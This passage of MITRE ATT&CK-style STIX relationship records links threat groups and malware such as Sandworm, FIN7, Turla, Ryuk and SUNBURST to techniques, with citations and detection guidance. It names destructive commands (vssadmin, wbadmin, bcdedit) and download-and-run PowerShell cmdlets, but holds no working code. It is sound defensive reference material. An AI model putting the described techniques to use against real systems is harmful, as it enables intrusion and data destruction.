2016)","relationship_type":"uses","source_ref":"intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924","target_ref":"attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ad949bd4-7ffd-4712-91d8-4a8523db6b50","created":"2020-06-10T21:56:40.261Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft Prestige ransomware October 2022","description":"MSTIC. (2022, October 14). New “Prestige” ransomware impacts organizations in Ukraine and Poland. Retrieved January 19, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/10/14/new-prestige-ransomware-impacts-organizations-in-ukraine-and-poland/"},{"source_name":"US-CERT Ukraine Feb 2016","description":"US-CERT. (2016, February 25). ICS Alert (IR-ALERT-H-16-056-01) Cyber-Attack Against Ukrainian Critical Infrastructure. Retrieved June 10, 2020.","url":"https://www.us-cert.gov/ics/alerts/IR-ALERT-H-16-056-01"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-13T18:20:56.359Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) has used remote administration tools or remote industrial control system client software for execution and to maliciously release electricity breakers.(Citation: US-CERT Ukraine Feb 2016)(Citation: Microsoft Prestige ransomware October 2022)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ad9f56c2-efb9-421e-99f5-d82396f89440","created":"2023-12-06T20:21:24.870Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Sygnia Emperor Dragonfly October 2022","description":"Biderman, O. et al. (2022, October 3). REVEALING EMPEROR DRAGONFLY: NIGHT SKY AND CHEERSCRYPT - A SINGLE RANSOMWARE GROUP. Retrieved December 6, 2023.","url":"https://blog.sygnia.co/revealing-emperor-dragonfly-a-chinese-ransomware-group"},{"source_name":"Microsoft Ransomware as a Service","description":"Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-21T21:44:00.419Z","description":"(Citation: Microsoft Ransomware as a Service)(Citation: Sygnia Emperor Dragonfly October 2022)","relationship_type":"uses","source_ref":"intrusion-set--8b1e16f6-e7c8-4b7a-a5df-f81232c13e2f","target_ref":"tool--26c87906-d750-42c5-946c-d4162c73fc7b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ada291f4-524c-4400-9425-0936a03d4a41","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html","description":"Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.","source_name":"FireEye FIN7 Aug 2018"}],"modified":"2020-03-20T21:11:57.197Z","description":"[FIN7](https://attack.mitre.org/groups/G0046) used legitimate services like Google Docs, Google Scripts, and Pastebin for C2.(Citation: FireEye FIN7 Aug 2018)","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"attack-pattern--be055942-6e63-49d7-9fa1-9cb7d8a8f3f4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ada55a0e-2f38-4da1-9ebd-8dd2f2461dfc","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 RGDoor Jan 2018","description":"Falcone, R. (2018, January 25). OilRig uses RGDoor IIS Backdoor on Targets in the Middle East. Retrieved July 6, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/"}],"modified":"2020-03-17T02:29:16.138Z","description":"[RGDoor](https://attack.mitre.org/software/S0258) executes the whoami on the victim’s machine.(Citation: Unit 42 RGDoor Jan 2018)","relationship_type":"uses","source_ref":"malware--b9eec47e-98f4-4b3c-b574-3fa8a87ebe05","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ada86d8c-2c88-442d-8f7a-d9e53937a3f2","created":"2022-09-26T21:41:08.513Z","revoked":false,"external_references":[{"source_name":"McAfee Sharpshooter December 2018","description":"Sherstobitoff, R., Malhotra, A., et. al.. (2018, December 18). Operation Sharpshooter Campaign Targets Global Defense, Critical Infrastructure. Retrieved May 14, 2020.","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-26T21:41:08.513Z","description":"During [Operation Sharpshooter](https://attack.mitre.org/campaigns/C0013), the threat actors used a VBA macro to execute a simple downloader that installed [Rising Sun](https://attack.mitre.org/software/S0448).(Citation: McAfee Sharpshooter December 2018)","relationship_type":"uses","source_ref":"campaign--37764c78-2a99-46d1-a7ea-6454b9bf93a0","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ada9885f-276a-4f97-859d-1bb9f73b58c1","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/2018/05/22/turla-mosquito-shift-towards-generic-tools/","description":"ESET Research. (2018, May 22). Turla Mosquito: A shift towards more generic tools. Retrieved July 3, 2018.","source_name":"ESET Turla Mosquito May 2018"},{"description":"Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.","url":"https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/","source_name":"ESET Turla PowerShell May 2019"},{"source_name":"Symantec Waterbug Jun 2019","url":"https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments","description":"Symantec DeepSight Adversary Intelligence Team. (2019, June 20). Waterbug: Espionage Group Rolls Out Brand-New Toolset in Attacks Against Governments. Retrieved July 8, 2019."}],"modified":"2019-07-14T21:04:44.769Z","description":"[Turla](https://attack.mitre.org/groups/G0010) has used PowerShell to execute commands/scripts, in some cases via a custom executable or code from [Empire](https://attack.mitre.org/software/S0363)'s PSInject.(Citation: ESET Turla Mosquito May 2018)(Citation: ESET Turla PowerShell May 2019)(Citation: Symantec Waterbug Jun 2019) [Turla](https://attack.mitre.org/groups/G0010) has also used PowerShell scripts to load and execute malware in memory.","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--adaf9bd2-019e-42e0-be46-e4bbc4ac65cc","created":"2023-06-02T16:34:13.479Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-02T02:25:48.937Z","description":"Monitor cloud audit logs and host logs for logon session events. These can be found in CloudTrail, Unified Audit Logs, Windows Event Logs and `/var/log/auth.log` or `/var/log/secure` for Linux systems. ","relationship_type":"detects","source_ref":"x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5","target_ref":"attack-pattern--45241b9e-9bbc-4826-a2cc-78855e51ca09","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--adb80a62-87cb-4197-a3a7-a3e5a6417d50","created":"2022-06-13T15:30:05.676Z","x_mitre_version":"0.1","external_references":[{"source_name":"ClearSky Siamesekitten August 2021","url":"https://www.clearskysec.com/siamesekitten/","description":"ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By “Siamesekitten” - Lyceum. Retrieved June 6, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Shark](https://attack.mitre.org/software/S1019) can delete files downloaded to the compromised host.(Citation: ClearSky Siamesekitten August 2021)","modified":"2022-06-13T15:30:05.676Z","relationship_type":"uses","source_ref":"malware--99854cc8-f202-4e03-aa0a-4f8a4af93229","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--adbb2fb8-9a9f-4068-b123-7b557491861d","type":"relationship","created":"2020-05-14T13:59:58.140Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Ryuk January 2019","url":"https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/","description":"Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020."},{"source_name":"CrowdStrike Wizard Spider October 2020","url":"https://www.crowdstrike.com/blog/wizard-spider-adversary-update/","description":"Podlosky, A., Hanel, A. et al. (2020, October 16). WIZARD SPIDER Update: Resilient, Reactive and Resolute. Retrieved June 15, 2021."}],"modified":"2021-06-15T15:49:37.037Z","description":"[Ryuk](https://attack.mitre.org/software/S0446) has used a combination of symmetric (AES) and asymmetric (RSA) encryption to encrypt files. Files have been encrypted with their own AES key and given a file extension of .RYK. Encrypted directories have had a ransom note of RyukReadMe.txt written to the directory.(Citation: CrowdStrike Ryuk January 2019)(Citation: CrowdStrike Wizard Spider October 2020)","relationship_type":"uses","source_ref":"malware--a020a61c-423f-4195-8c46-ba1d21abba37","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--adbec5d6-1ffe-4b0b-ae03-9c690ff5c507","type":"relationship","created":"2019-10-11T16:04:32.121Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye FIN7 Oct 2019","url":"https://www.fireeye.com/blog/threat-research/2019/10/mahalo-fin7-responding-to-new-tools-and-techniques.html","description":"Carr, N, et all. (2019, October 10). Mahalo FIN7: Responding to the Criminal Operators’ New Tools and Techniques. Retrieved October 11, 2019."}],"modified":"2019-10-11T16:04:32.121Z","description":"[BOOSTWRITE](https://attack.mitre.org/software/S0415) has been signed by a valid CA.(Citation: FireEye FIN7 Oct 2019)","relationship_type":"uses","source_ref":"malware--56d10a7f-bb42-4267-9b4c-63abb9c06010","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--adbee939-28b3-4932-9e8d-992b7fdca835","type":"relationship","created":"2020-12-01T14:06:57.090Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NCC Group Team9 June 2020","url":"https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/","description":"Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020."}],"modified":"2020-12-01T14:06:57.090Z","description":"[Bazar](https://attack.mitre.org/software/S0534) can use a timer to delay execution of core functionality.(Citation: NCC Group Team9 June 2020)","relationship_type":"uses","source_ref":"malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0","target_ref":"attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--adc39d51-e21b-488c-bdc8-a97b1524ffac","created":"2024-07-19T18:26:25.091Z","revoked":false,"external_references":[{"source_name":"TrendMicro Pikabot 2024","description":"Shinji Robert Arasawa, Joshua Aquino, Charles Steven Derion, Juhn Emmanuel Atanque, Francisrey Joshua Castillo, John Carlo Marquez, Henry Salcedo, John Rainier Navato, Arianne Dela Cruz, Raymart Yambot & Ian Kenefick. (2024, January 9). Black Basta-Affiliated Water Curupira’s Pikabot Spam Campaign. Retrieved July 17, 2024.","url":"https://www.trendmicro.com/en_us/research/24/a/a-look-into-pikabot-spam-wave-campaign.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-19T18:26:25.091Z","description":"[Water Curupira Pikabot Distribution](https://attack.mitre.org/campaigns/C0037) initial delivery included obfuscated JavaScript objects stored in password-protected ZIP archives.(Citation: TrendMicro Pikabot 2024)","relationship_type":"uses","source_ref":"campaign--57541e3b-657e-463a-a4ab-ca08d7ea9965","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--adc3fbb4-955e-4861-ac19-4c2b546d562d","created":"2022-04-15T12:39:49.564Z","x_mitre_version":"0.1","external_references":[{"source_name":"Microsoft Actinium February 2022","url":"https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/","description":"Microsoft Threat Intelligence Center. (2022, February 4). ACTINIUM targets Ukrainian organizations. Retrieved February 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[QuietSieve](https://attack.mitre.org/software/S0686) can identify and search removable drives for specific file name extensions.(Citation: Microsoft Actinium February 2022)","modified":"2022-04-15T12:39:49.564Z","relationship_type":"uses","source_ref":"malware--03eb4a05-6a02-43f6-afb7-3c7835501828","target_ref":"attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--adc6b431-0722-4287-8f37-e09ddb5b25fe","created":"2019-09-24T12:31:43.557Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT41 Aug 2019","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"},{"source_name":"Group IB APT 41 June 2021","description":"Rostovcev, N. (2021, June 10). Big airline heist APT41 likely behind a third-party attack on Air India. Retrieved August 26, 2021.","url":"https://www.group-ib.com/blog/colunmtk-apt41/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:45:58.867Z","description":"[APT41](https://attack.mitre.org/groups/G0096) collected MAC addresses from victim machines.(Citation: FireEye APT41 Aug 2019)(Citation: Group IB APT 41 June 2021) ","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--adc994b3-b5cb-4005-882f-a5116d6e40d5","created":"2024-03-01T18:53:20.516Z","revoked":false,"external_references":[{"source_name":"Leonard TAG 2023","description":"Billy Leonard. (2023, April 19). Ukraine remains Russia’s biggest cyber focus in 2023. Retrieved March 1, 2024.","url":"https://blog.google/threat-analysis-group/ukraine-remains-russias-biggest-cyber-focus-in-2023/"},{"source_name":"NSA Sandworm 2020","description":"National Security Agency. (2020, March 28). Sandworm Actors Exploiting Vulnerability In EXIM Mail Transfer Agent. Retrieved March 1, 2024.","url":"https://media.defense.gov/2020/May/28/2002306626/-1/-1/0/CSA%20Sandworm%20Actors%20Exploiting%20Vulnerability%20in%20Exim%20Transfer%20Agent%2020200528.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-01T18:53:20.516Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) compromised legitimate Linux servers running the EXIM mail transfer agent for use in subsequent campaigns.(Citation: NSA Sandworm 2020)(Citation: Leonard TAG 2023)","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--e196b5c5-8118-4a1c-ab8a-936586ce3db5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--adce22f8-e689-47b1-b6ca-414eb5c617c5","created":"2024-08-05T21:43:09.223Z","revoked":false,"external_references":[{"source_name":"Dragos Crashoverride 2018","description":"Joe Slowik. (2018, October 12). Anatomy of an Attack: Detecting and Defeating CRASHOVERRIDE. Retrieved December 18, 2020.","url":"https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-05T21:43:09.223Z","description":"During the [2016 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0025), [Sandworm Team](https://attack.mitre.org/groups/G0034) created two new accounts, “admin” and “система” (System).(Citation: Dragos Crashoverride 2018)","relationship_type":"uses","source_ref":"campaign--aa73efef-1418-4dbe-b43c-87a498e97234","target_ref":"attack-pattern--d349c66e-18e1-4d8b-a2d7-65af7cbd2ba0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--adcf8267-dc71-4397-a02a-f4d03108281f","type":"relationship","created":"2022-03-30T14:26:51.841Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.841Z","description":"Monitor executed commands and arguments for actions involved in data destruction activity, such as vssadmin, wbadmin, and bcdedit","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--add09428-6eda-4cb2-8817-008038ed4f00","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Netwire Mar 2015","description":"McAfee. (2015, March 2). Netwire RAT Behind Recent Targeted Attacks. Retrieved February 15, 2018.","url":"https://securingtomorrow.mcafee.com/mcafee-labs/netwire-rat-behind-recent-targeted-attacks/"}],"modified":"2020-08-13T20:15:39.681Z","description":"The [NETWIRE](https://attack.mitre.org/software/S0198) client has been signed by fake and invalid digital certificates.(Citation: McAfee Netwire Mar 2015)","relationship_type":"uses","source_ref":"malware--2a70812b-f1ef-44db-8578-a496a227aef2","target_ref":"attack-pattern--b4b7458f-81f2-4d38-84be-1c5ba0167a52","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--add3bfcd-3e6d-4978-9e2c-ac6fad18fc5a","type":"relationship","created":"2021-09-27T20:05:02.114Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Qakbot May 2020","url":"https://www.trendmicro.com/vinfo/ph/security/news/cybercrime-and-digital-threats/qakbot-resurges-spreads-through-vbs-files","description":"Mendoza, E. et al. (2020, May 25). Qakbot Resurges, Spreads through VBS Files. Retrieved September 27, 2021."}],"modified":"2021-09-27T20:05:02.114Z","description":"[QakBot](https://attack.mitre.org/software/S0650) can identify peripheral devices on targeted systems.(Citation: Trend Micro Qakbot May 2020)","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--addc6473-9aa0-4c46-9e6a-2a58c47da0fe","created":"2022-07-07T14:52:56.844Z","x_mitre_version":"0.1","external_references":[{"source_name":"Microsoft POLONIUM June 2022","url":"https://www.microsoft.com/security/blog/2022/06/02/exposing-polonium-activity-and-infrastructure-targeting-israeli-organizations/","description":"Microsoft. (2022, June 2). Exposing POLONIUM activity and infrastructure targeting Israeli organizations. Retrieved July 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[CreepyDrive](https://attack.mitre.org/software/S1023) can use Powershell for execution, including the cmdlets `Invoke-WebRequest` and `Invoke-Expression`.(Citation: Microsoft POLONIUM June 2022)","modified":"2022-08-08T20:13:11.032Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--750eb92a-7fdf-451e-9592-1d42357018f1","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ade42bce-dfa6-4a34-8a42-dad089debbd0","type":"relationship","created":"2021-01-06T16:56:56.338Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye SUNBURST Backdoor December 2020","url":"https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html","description":"FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."}],"modified":"2021-01-06T16:56:56.338Z","description":"[SUNBURST](https://attack.mitre.org/software/S0559) added junk bytes to its C2 over HTTP.(Citation: FireEye SUNBURST Backdoor December 2020)","relationship_type":"uses","source_ref":"malware--a8839c95-029f-44cf-8f3d-a3cf2039e927","target_ref":"attack-pattern--f7c0689c-4dbd-489b-81be-7cb7c7079ade","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ade53a0c-965b-4d6a-bef1-aad302cf3cb3","created":"2024-05-29T20:45:48.139Z","revoked":false,"external_references":[{"source_name":"SentinelOne Gootloader June 2021","description":"Pirozzi, A. (2021, June 16). Gootloader: ‘Initial Access as a Service’ Platform Expands Its Search for High Value Targets. Retrieved May 28, 2024.","url":"https://www.sentinelone.com/labs/gootloader-initial-access-as-a-service-platform-expands-its-search-for-high-value-targets/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-29T20:45:48.139Z","description":"[Gootloader](https://attack.mitre.org/software/S1138) can use an embedded script to check the IP address of potential victims visiting compromised websites.(Citation: SentinelOne Gootloader June 2021)","relationship_type":"uses","source_ref":"malware--396c18b9-26fb-4435-8589-fb856502e4c4","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ade60661-8dfb-473a-8d12-014ba0273934","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Zscaler Kasidet","description":"Yadav, A., et al. (2016, January 29). Malicious Office files dropping Kasidet and Dridex. Retrieved March 24, 2016.","url":"http://research.zscaler.com/2016/01/malicious-office-files-dropping-kasidet.html"}],"modified":"2020-03-16T17:02:26.250Z","description":"[Kasidet](https://attack.mitre.org/software/S0088) has the ability to initiate keylogging and screen captures.(Citation: Zscaler Kasidet)","relationship_type":"uses","source_ref":"malware--26fed817-e7bf-41f9-829a-9075ffac45c2","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ade72853-1a09-417f-ad84-db50280c326c","type":"relationship","created":"2022-03-30T14:26:51.844Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.844Z","description":"Detecting dynamically generated domains can be challenging due to the number of different DGA algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There is a myriad of approaches for detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more. (Citation: Data Driven Security DGA) CDN domains may trigger these detections due to the format of their domain names. In addition to detecting a DGA domain based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains.\nMachine learning approaches to detecting DGA domains have been developed and have seen success in applications. One approach is to use N-Gram methods to determine a randomness score for strings used in the domain name. If the randomness score is high, and the domains are not whitelisted (CDN, etc), then it may be determined if a domain is related to a legitimate host or DGA. (Citation: Pace University Detecting DGA May 2017) Another approach is to use deep learning to classify domains as DGA-generated(Citation: Elastic Predicting DGA)]","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Data Driven Security DGA","description":"Jacobs, J. (2014, October 2). Building a DGA Classifier: Part 2, Feature Engineering. Retrieved February 18, 2019.","url":"https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/"},{"source_name":"Pace University Detecting DGA May 2017","description":"Chen, L., Wang, T.. (2017, May 5). Detecting 